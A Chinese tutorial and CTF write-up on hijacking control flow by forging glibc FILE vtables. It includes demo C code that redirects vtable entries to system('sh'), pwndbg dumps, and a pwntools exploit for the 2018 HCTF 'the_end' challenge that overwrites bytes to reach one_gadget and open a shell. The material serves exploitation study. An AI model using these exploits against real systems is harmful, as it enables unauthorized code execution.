伪造 vtable 劫持程序流程

简介

前面我们介绍了 Linux 中文件流的特性（FILE），我们可以得知 Linux 中的一些常见的 IO 操作函数都需要经过 FILE 结构进行处理。尤其是_IO_FILE_plus 结构中存在 vtable，一些函数会取出 vtable 中的指针进行调用。

因此伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚，通过把 vtable 指向我们控制的内存，并在其中布置函数指针来实现。

因此 vtable 劫持分为两种，一种是直接改写 vtable 中的函数指针，通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存，然后在其中布置函数指针。

实践

这里演示了修改 vtable 中的指针，首先需要知道_IO_FILE_plus 位于哪里，对于 fopen 的情况下是位于堆内存，对于 stdin\stdout\stderr 是位于 libc.so 中。

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int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    vtable_ptr[7]=0x41414141 //xsputn

    printf("call 0x41414141");
}

根据 vtable 在_IO_FILE_plus 的偏移得到 vtable 的地址，在 64 位系统下偏移是 0xd8。之后需要搞清楚欲劫持的 IO 函数会调用 vtable 中的哪个函数。关于 IO 函数调用 vtable 的情况已经在 FILE 结构介绍一节给出了，知道了 printf 会调用 vtable 中的 xsputn，并且 xsputn 的是 vtable 中第八项之后就可以写入这个指针进行劫持。

并且在 xsputn 等 vtable 函数进行调用时，传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf，传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。

利用这点可以实现给劫持的 vtable 函数传參，比如

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#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    memcopy(fp,"sh",3);

    vtable_ptr[7]=system_ptr //xsputn


    fwrite("hi",2,1,fp);
}

但是在目前 libc2.23 版本下，位于 libc 数据段的 vtable 是不可以进行写入的。不过，通过在可控的内存中伪造 vtable 的方法依然可以实现利用。

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#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_addr,*fake_vtable;

    fp=fopen("123.txt","rw");
    fake_vtable=malloc(0x40);

    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    vtable_addr[0]=(long long)fake_vtable;

    memcpy(fp,"sh",3);

    fake_vtable[7]=system_ptr; //xsputn

    fwrite("hi",2,1,fp);
}

我们首先分配一款内存来存放伪造的 vtable，之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址，因此需要传递参数 “/bin/sh” 或 “sh”。

因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递，因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。

同样，如果程序中不存在 fopen 等函数创建的_IO_FILE 时，也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE，这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前，这些 vtable 是可以写入并且不存在其他检测的。

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print &_IO_2_1_stdin_
$2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>

0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so

IO调用的vtable函数

在这里给出fopen、fread、fwrite、fclose四个函数会调用的vtable函数，之前在每篇文章的末尾都已给出，在这里统一总结下，方便后面利用的时候能够较快的找到所需劫持的函数指针。

fopen函数是在分配空间，建立FILE结构体，未调用vtable中的函数。

fread函数中调用的vtable函数有：

  • _IO_sgetn函数调用了vtable的_IO_file_xsgetn。
  • _IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • __underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
  • vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。

fwrite 函数调用的vtable函数有：

  • _IO_fwrite函数调用了vtable的_IO_new_file_xsputn。
  • _IO_new_file_xsputn函数调用了vtable中的_IO_new_file_overflow实现缓冲区的建立以及刷新缓冲区。
  • vtable中的_IO_new_file_overflow函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • new_do_write中的_IO_SYSWRITE调用了vtable_IO_new_file_write最终去执行系统调用write。

fclose函数调用的vtable函数有：

  • 在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
  • 关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
  • _IO_FINISH函数为vtable中的__finish函数。

其他的IO函数功能相类似的调用的应该都差不多，可以参考下。

2018 HCTF the_end

题目链接

基本信息

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void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

分析题目，利用点很明确在 main 函数中，且：

  • 除了 canary 保护全开
  • libc 基地址和 libc 版本
  • 能够任意位置写 5 字节

思路：

  • 利用的是在程序调用 exit 后，会遍历 _IO_list_all ，调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数。
  • 可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ，然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。

我们先调试找出 _IO_2_1_stdout_ 和 libc 的偏移，这里很蠢的地方是我最初是在 gdb 中搜索相关符号，但是其实找出的地址是 _IO_2_1_stdout_ 这个符号所在的位置，而不是其在 libc 数据段上的位置，我们借助 ida 或者 libcsearch 工具找出 vtables 偏移 0x3C56F8 如下：

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.data:00000000003C56F8                 dq offset _IO_file_jumps  // vtables
.data:00000000003C5700                 public stderr
.data:00000000003C5700 stderr          dq offset _IO_2_1_stderr_
.data:00000000003C5700                                         ; DATA XREF: LOAD:000000000000BAF0↑o
.data:00000000003C5700                                         ; fclose+F2↑r ...
.data:00000000003C5708                 public stdout
.data:00000000003C5708 stdout          dq offset _IO_2_1_stdout_
.data:00000000003C5708                                         ; DATA XREF: LOAD:0000000000009F48↑o
.data:00000000003C5708                                         ; fclose+E9↑r ...
.data:00000000003C5710                 public stdin
.data:00000000003C5710 stdin           dq offset _IO_2_1_stdin_
.data:00000000003C5710                                         ; DATA XREF: LOAD:0000000000006DF8↑o
.data:00000000003C5710                                         ; fclose:loc_6D340↑r ...
.data:00000000003C5718                 dq offset sub_20B70
.data:00000000003C5718 _data           ends
.data:00000000003C5718
.bss:00000000003C5720 ; ===========================================================================

我们查看下虚表内容：

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pwndbg> x /30gx 0x7f41d9c026f8
0x7f41d9c026f8 <_IO_2_1_stdout_+216>:   0x00007f41d9c006e0  0x00007f41d9c02540
0x7f41d9c02708 <stdout>:    0x00007f41d9c02620  0x00007f41d9c018e0
0x7f41d9c02718 <DW.ref.__gcc_personality_v0>:   0x00007f41d985db70  0x0000000000000000
0x7f41d9c02728 <string_space>:  0x0000000000000000  0x0000000000000000
0x7f41d9c02738 <__printf_va_arg_table>: 0x0000000000000000  0x0000000000000000
0x7f41d9c02748 <transitions>:   0x0000000000000000  0x0000000000000000
0x7f41d9c02758 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02768 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02778 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02788 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02798 <getttyname_name>:   0x0000000000000000  0x0000000000000000
0x7f41d9c027a8 <fcvt_bufptr>:   0x0000000000000000  0x0000000000000000
0x7f41d9c027b8 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c027c8 <buffer>:    0x0000000000000000  0x0000000000000000
0x7f41d9c027d8 <buffer>:    0x0000000000000000  0x0000000000000000

然后此时在虚表附近寻找一个 fake_vtable，需满足以下条件：

  • fake_vtable_addr + 0x58 = libc_base + off_set_3
  • 其中 0x58 根据下表查处是 set_buf 在虚表的偏移
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void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

我这里选择了以下地址作为 fake_vtable ：

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pwndbg> x /60gx 0x7f41d9c02500
0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997  0x0000000000000000
0x7f41d9c02510: 0x0000000000000000  0x0000000000000000
0x7f41d9c02520 <_IO_list_all>:  0x00007f41d9c02540  0x0000000000000000
0x7f41d9c02530: 0x0000000000000000  0x0000000000000000
0x7f41d9c02540 <_IO_2_1_stderr_>:   0x00000000fbad2086  0x0000000000000000
0x7f41d9c02550 <_IO_2_1_stderr_+16>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02560 <_IO_2_1_stderr_+32>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02570 <_IO_2_1_stderr_+48>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02580 <_IO_2_1_stderr_+64>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02590 <_IO_2_1_stderr_+80>:    0x0000000000000000  0x0000000000000000
0x7f41d9c025a0 <_IO_2_1_stderr_+96>:    0x0000000000000000  0x00007f41d9c02620
0x7f41d9c025b0 <_IO_2_1_stderr_+112>:   0x0000000000000002  0xffffffffffffffff
0x7f41d9c025c0 <_IO_2_1_stderr_+128>:   0x0000000000000000  0x00007f41d9c03770
0x7f41d9c025d0 <_IO_2_1_stderr_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f41d9c025e0 <_IO_2_1_stderr_+160>:   0x00007f41d9c01660  0x0000000000000000
0x7f41d9c025f0 <_IO_2_1_stderr_+176>:   0x0000000000000000  0x0000000000000000
0x7f41d9c02600 <_IO_2_1_stderr_+192>:   0x0000000000000000  0x0000000000000000
0x7f41d9c02610 <_IO_2_1_stderr_+208>:   0x0000000000000000  0x00007f41d9c006e0
0x7f41d9c02620 <_IO_2_1_stdout_>:   0x00000000fbad2a84  0x00005582e351c010
0x7f41d9c02630 <_IO_2_1_stdout_+16>:    0x00005582e351c010  0x00005582e351c010
0x7f41d9c02640 <_IO_2_1_stdout_+32>:    0x00005582e351c010  0x00005582e351c010
0x7f41d9c02650 <_IO_2_1_stdout_+48>:    0x00005582e351c010  0x00005582e351c010
0x7f41d9c02660 <_IO_2_1_stdout_+64>:    0x00005582e351c410  0x0000000000000000
0x7f41d9c02670 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f41d9c02680 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f41d9c018e0
0x7f41d9c02690 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff
0x7f41d9c026a0 <_IO_2_1_stdout_+128>:   0x0000000000000000  0x00007f41d9c03780
0x7f41d9c026b0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f41d9c026c0 <_IO_2_1_stdout_+160>:   0x00007f41d9c017a0  0x0000000000000000
0x7f41d9c026d0 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000
pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000
0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)
pwndbg> p 0x7f41d9c025e0 -0x58
$10 = 0x7f41d9c02588
pwndbg> distance 0x7f41d9c02588 0x7f41d983d000
0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words)
pwndbg> distance  0x7f41d9c025e0 0x7f41d983d000
0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)

最终的利用脚本如下：

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from pwn import *
context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)

rem = 0
if rem ==1:
    p = remote('150.109.44.250',20002)
    p.recvuntil('Input your token:')
    p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables =     libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

# gdb.attach(p)

for i in range(2):
    p.send(p64(vtables+i))
    p.send(p64(fake_vtable)[i])


for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

根据ctfwiki给出的脚本发现是能够执行到one_gadget的，但是四个one_gadget都不能满足条件，无法成功getshell。